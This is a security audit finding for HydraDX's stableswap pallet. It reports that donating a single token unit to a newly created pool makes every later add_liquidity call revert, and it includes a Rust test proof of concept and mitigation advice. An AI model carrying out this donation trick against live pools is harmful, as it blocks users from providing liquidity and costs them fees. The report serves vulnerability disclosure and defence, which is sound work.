HydraDX - alix40's results

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L1053-L1059

Vulnerability details

Impact

When adding a new pool, an attacker could donate 1_u128 tokens to the pool account (this attack would work also by donating 1 token to a max of (n-1) Token in a pool of n tokens) after having this condition met, each subsequent add_liquidity() call for this new created pool would revert with an arithmetic overflow error.

The attacker could use this bug to block users from adding liquidity to the pool, and costing them transactions fees.

Proof of Concept

By donating at least 1 unit of a token to the pool account and leaving at least a token uninitialized, in do_add_liquidity() the array initial_reserves would contain at least a zero amount. For a new pool of asset_a and asset_b after donating 1 unit to asset_b the initial_reserves would look like this

initial_reserves: [AssetReserve { amount: 0, decimals: 12 }, AssetReserve { amount: 1, decimals: 12 }]

This array would be supplied to hydra_dx_math::stableswap::calculate_shares() (source) The inital_reserves array would then be handled in the function calculate_d() (source)

	let initial_d = calculate_d::<D>(initial_reserves, amplification)?;

Which would then throw an error, because the initial_reserves contain a zero amount.

pub(crate) fn calculate_d_internal<const D: u8>(xp: &[Balance], amplification: Balance) -> Option<Balance> {
	let two_u256 = to_u256!(2_u128);

	// Filter out zero balance assets, and return error if there is one.
	// Either all assets are zero balance, or none are zero balance.
	// Otherwise, it breaks the math.
	let mut xp_hp: Vec<U256> = xp.iter().filter(|v| !(*v).is_zero()).map(|v| to_u256!(*v)).collect();
	if xp_hp.len() != xp.len() && !xp_hp.is_empty() {
		return None;

To run the Proof of Concept add the following code to pallets/stableswap/src/tests/add_liquidity.rs

#[test]
fn donation_attack_by_pool_initialization_leads_to_dos() {
	let pool_id: AssetId = 100u32;
	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(BOB, 1, 200 * ONE),
			(BOB, 2, 200 * ONE),
			(ALICE, 1, 200 * ONE),
			(ALICE, 2, 200 * ONE),
		])
		.with_registered_asset("pool".as_bytes().to_vec(), pool_id, 12)
		.with_registered_asset("one".as_bytes().to_vec(), 1, 12)
		.with_registered_asset("two".as_bytes().to_vec(), 2, 12)
		.build()
		.execute_with(|| {
			let asset_a: AssetId = 1;
			let asset_b: AssetId = 2;
			let amplification: u16 = 100;

			assert_ok!(Stableswap::create_pool(
				RuntimeOrigin::root(),
				pool_id,
				vec![asset_a, asset_b],
				amplification,
				Permill::from_percent(0),
			));

			let initial_liquidity_amount = 100 * ONE;
			let pool_account = pool_account(pool_id);
			println!("BOB balance: {:?}", Tokens::free_balance(asset_b, &BOB));
			println!("Pool balance: {:?}", Tokens::free_balance(asset_b, &pool_account));
			let _ = Tokens::transfer(
				RuntimeOrigin::signed(BOB),
				pool_account.clone(),
				asset_b,
				1_u128,
			);
			println!("BOB balance: {:?}", Tokens::free_balance(asset_b, &BOB));
			println!("Pool balance: {:?}", Tokens::free_balance(asset_b, &pool_account));

			assert_ok!(Stableswap::add_liquidity(
				RuntimeOrigin::signed(BOB),
				pool_id,
				vec![
					AssetAmount::new(asset_a, initial_liquidity_amount),
					AssetAmount::new(asset_b, initial_liquidity_amount),
					
				]
			));
		});
}

Tools Used

Manual Review, Substrate

Recommended Mitigation Steps

To prevent this attack vector, it is recomended to either donate a small amount of each tokens to the newly created pool, to make sure that the transaction wouldn't revert, or to adjust the logic in do_add_liquidity to remove zero amounts from the initial_reserves array.

Assessed type

DoS